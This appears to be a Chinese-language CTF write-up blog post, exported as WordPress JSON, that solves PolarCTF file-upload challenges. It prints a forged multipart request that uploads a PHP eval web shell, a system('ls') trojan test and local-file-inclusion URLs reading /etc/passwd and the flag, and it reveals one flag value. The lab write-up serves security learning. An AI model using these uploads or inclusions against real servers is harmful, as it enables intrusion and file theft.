{"id":424,"date":"2026-06-18T23:00:13","date_gmt":"2026-06-18T15:00:13","guid":{"rendered":"https:\/\/blog.lmoon.cn\/?p=424"},"modified":"2026-06-18T23:00:15","modified_gmt":"2026-06-18T15:00:15","slug":"%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e7%bb%83%e4%b9%a03","status":"publish","type":"post","link":"https:\/\/blog.lmoon.cn\/index.php\/2026\/06\/18\/%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e7%bb%83%e4%b9%a03\/","title":{"rendered":"\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e60<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">PolarCTF<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u574f\u6389\u7684\u4e0a\u4f20\u9875<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">1.\u6253\u5f00\u73af\u5883\u53d1\u73b0\u65e0\u6cd5\u8fdb\u884c\u9009\u62e9\u6587\u4ef6\uff0c\u5206\u6790\u5176\u524d\u7aef\u6e90\u7801\u53d1\u73b0\uff0c\u524d\u7aef\u6ca1\u6709\u7ed9\u9009\u62e9\u6587\u4ef6\u914d\u7f6e\u76d1\u542c\u5668\u5bfc\u81f4\u65e0\u6cd5\u8fdb\u884c\u4e0a\u4f20\u6587\u4ef6\uff0c\u7136\u540e\u5229\u7528dirsearch\u626b\u63cf\u5668\u76ee\u5f55\u5f97\u5230\u4e00\u4e2a\u54cd\u5e94\u4e3a200\u7684 \/confi\u200b\u200bg.p\u200b\u200bhp<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212247220.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212247220.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260617210606120\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6253\u5f00\u5bf9\u5e94\u5f97\u5230\u7f51\u9875\u5f97\u5230\u4e00\u4e2aphp\u4ee3\u7801\uff0c\u4e3b\u8981\u5f97\u5230\u5185\u5bb9\u4e3a\u4e0a\u4f20\u7684\u6587\u4ef6\u4f1a\u5148datab\u200b\u200base.db\u663e\u793a\u8def\u5f84<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><!--?p\u200b\u200bhp\nerror_reporting\u200b\u200b(0);\nshow_\u200b\u200bsource\u200b\u200b(__FILE__);\ndefine\u200b\u200b(\"DB_FILE\", UPLOAD_PATH . \"datab\u200b\u200base.db\"); \n?--><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u7531\u4e8e\u65e0\u6cd5\u8fdb\u884c\u9009\u62e9\u6587\u4ef6\u4e0a\u4f20\u4e8e\u662f\u53ea\u80fd\u8fdb\u884c\u6a21\u62dfPOST\u53d1\u5305\u4f2a\u9020\u7684\u8bf7\u6c42\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/ \u200b\u200bHTTP\/1.1\nHo\u200b\u200bst: 6fda5dab-f236-4ef7-9caa-b29794718c3d.www.polarctf.com:8090\nConten\u200b\u200bt-Type: multipart\u200b\u200b\/form-data; boun\u200b\u200bdary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nContent\u200b\u200b-Length: 205\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-D\u200b\u200bisposition: form-data; name=\"file\"; file\u200b\u200bname=\"123.p\u200b\u200bhp\"\nConten\u200b\u200bt-Type: image\/jpeg\n\n<!--?p\u200b\u200bhp @ev\u200b\u200bal\u200b\u200b($_P\u200b\u200bOST&#91;\"a\"]); ?-->\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u70b9\u51fb\u53d1\u5305\u7136\u540e\u53d1\u73b0\u6709\u56de\u663e\uff0c\u63d0\u793a  \u6587\u4ef6\u4e0a\u4f20\u6210\u529f\uff01\u5df2\u8bb0\u5f55\u5230\u6570\u636e\u5e93<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212247965.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212247965.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260617210911871\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u6ca1\u6709\u60f3\u8981datab\u200b\u200base.db\u662f\u53ef\u4ee5\u76f4\u63a5\u8fdb\u884c\u8bbf\u95ee\u7684\uff0c\u7136\u540e\u770b\u5230\u6211\u4eec\u6700\u65b0\u4e0a\u4f20\u7684\u6587\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212248783.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212248783.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260617211010861\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230\u8def\u5f84\u4e4b\u540e\u5229\u7528\u8681\u5251\u8fdb\u884c\u8fde\u63a5\uff0c\u7136\u540e\u5728\u53d1\u73b0\u66f4\u76ee\u5f55\u4e2d\u6ca1\u6709\uff0cenv\u4e2d\u7684flag\u4e3a\u5047\u7684flag\u4e8e\u662f\u5728\u7ec8\u7aef\u8fdb\u884cfind\u4e00\u4e0b\u627e\u5230flag\u6587\u4ef6\u7136\u540e\u5f97\u5230\u5176\u4e2d\u7684flag&#8217;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212249439.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212249439.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260617211152208\"\/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u4f20\u9a6c<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u73af\u5883\u5bf9\u4e0a\u4f20\u6587\u4ef6\u7684\u540e\u7f00\u548c\u6587\u4ef6\u68c0\u9a8c\u53c8\u9650\u5236\u56fe\u7247\u4e8e\u662f\u4e0a\u4f20\u4e00\u4e2ajpg\u540e\u7f00\u7684\u6728\u9a6c\uff0c\u7136\u540e\u6d4b\u8bd5\u6267\u884c\u547d\u4ee4\u662f\u5426\u53ef\u4ee5\u6267\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><!--?p\u200b\u200bhp ystem\u200b\u200b(\"ls\");?--><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212250179.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212250179.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260618194226378\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212250755.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212250755.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260618194120531\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u53ef\u4ee5\u6267\u884c\u4e8e\u662f\u4f20\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u7136\u540e\u5229\u7528\u8681\u5251\u8fdb\u884c\u8fde\u63a5\u53d1\u73b0flag\u5728\u6839\u76ee\u5f55<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212251324.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212251324.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260618194345353\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>fl\u200b\u200bag{420F9CED0C3E6CE65A90817A65197A09}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u7b11\u50b2\u4e0a\u4f20<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u6253\u5f00\u73af\u5883\u53d1\u73b0\u7981\u6b62\u53ea\u5141\u8bb8\u4e0a\u4f20png\uff0cjpg,gif\u56fe\u7247\uff0c\u5e76\u4e14\u5728\u591a\u6b21\u4e0a\u4f20\u6587\u4ef6\u53d1\u73b0\u4e0d\u8bba\u4e0a\u4f20\u4ec0\u4e48\u7684\u540e\u7f00\u7684\u6587\u4ef6\u6700\u540e\u9776\u673a\u7684\u903b\u8f91\u90fd\u4f1a\u53d8\u6210jpg\u7ed3\u5c3e<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212252208.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212252208.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260618200818370\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6240\u4ee5\u4e0a\u4f20\u6587\u4ef6\u8fd9\u6761\u8def\u662f\u4e0d\u901a\u4e86\uff0c\u63a5\u4e0b\u6765\u5728\u53c2\u770b\u524d\u7aef\u6e90\u7801\u4e2d\u53d1\u73b0\u4e00\u4e2a\u63d0\u793a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><a href=\"\/inc\u200b\u200blude.p\u200b\u200bhp\" target=\"_blank\">\u5961\u795e\u7684\u795e\u79d8\u94fe\u63a5<\/a><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6253\u5f00\u540e\u53d1\u73b0\u662f\u4e00\u4e2aphp\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><!--?p\u200b\u200bhp\nheader\u200b\u200b(\"Conten\u200b\u200bt-Type:text\/html;charset=utf-8\");\n$file = $_\u200b\u200bGET&#91;'file'];\nif\u200b\u200b(isset\u200b\u200b($file)){\n    inc\u200b\u200blude $file;\n}else{\n    show_\u200b\u200bsource\u200b\u200b(__file__);\n}\n\/*\u8fd9\u91cc\u662f\u5999\u5999\u5c4b\u7684\u540e\u95e8*\/\n?-->\n\n\u542b\u4e49\u4e3a\u5982\u679cfile\u6709get\u4f20\u53c2\u7684\u6570\u636e\u65f6\uff0c\u5373$file\u6709\u503c\u65f6\uff0c\u5c06$file\u7684\u6570\u636e\u6253\u5370\u51fa\u6765\uff0c\u5982\u679c\u6ca1\u6709\u628a\u5f53\u524d\u8fd9\u4e2a PHP \u6587\u4ef6\u81ea\u5df1\u7684\u6e90\u7801\u663e\u793a\u51fa\u6765<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212252907.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212252907.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260618200959851\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u6d4b\u8bd5\u53d1\u73b0\u9776\u673a\u662f\u53ef\u4ee5\u8fdb\u884c\u8bfb\u53d6\u6587\u4ef6\u4e2d\u7684\u5185\u5bb9\u7684<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;e77b7e06-0d90-4df4-aa05-bfd55485683d.www.polarctf.com:8090\/inc\u200b\u200blude.p\u200b\u200bhp?file=\/etc\/\u200b\u200bpasswd<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212253920.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212253920.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260618201452213\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e8e\u662f\u5c1d\u8bd5\u4e00\u4e2aflag\u662f\u5426\u5728\u6839\u76ee\u5f55\u4e8e\u662f\uff0c\u5f97\u5230flag<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;e77b7e06-0d90-4df4-aa05-bfd55485683d.www.polarctf.com:8090\/inc\u200b\u200blude.p\u200b\u200bhp?file=\/fla\u200b\u200bg.txt<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e603\/image-20260618212254568.png'><img class=\"lazyload lazyload-style-1\" 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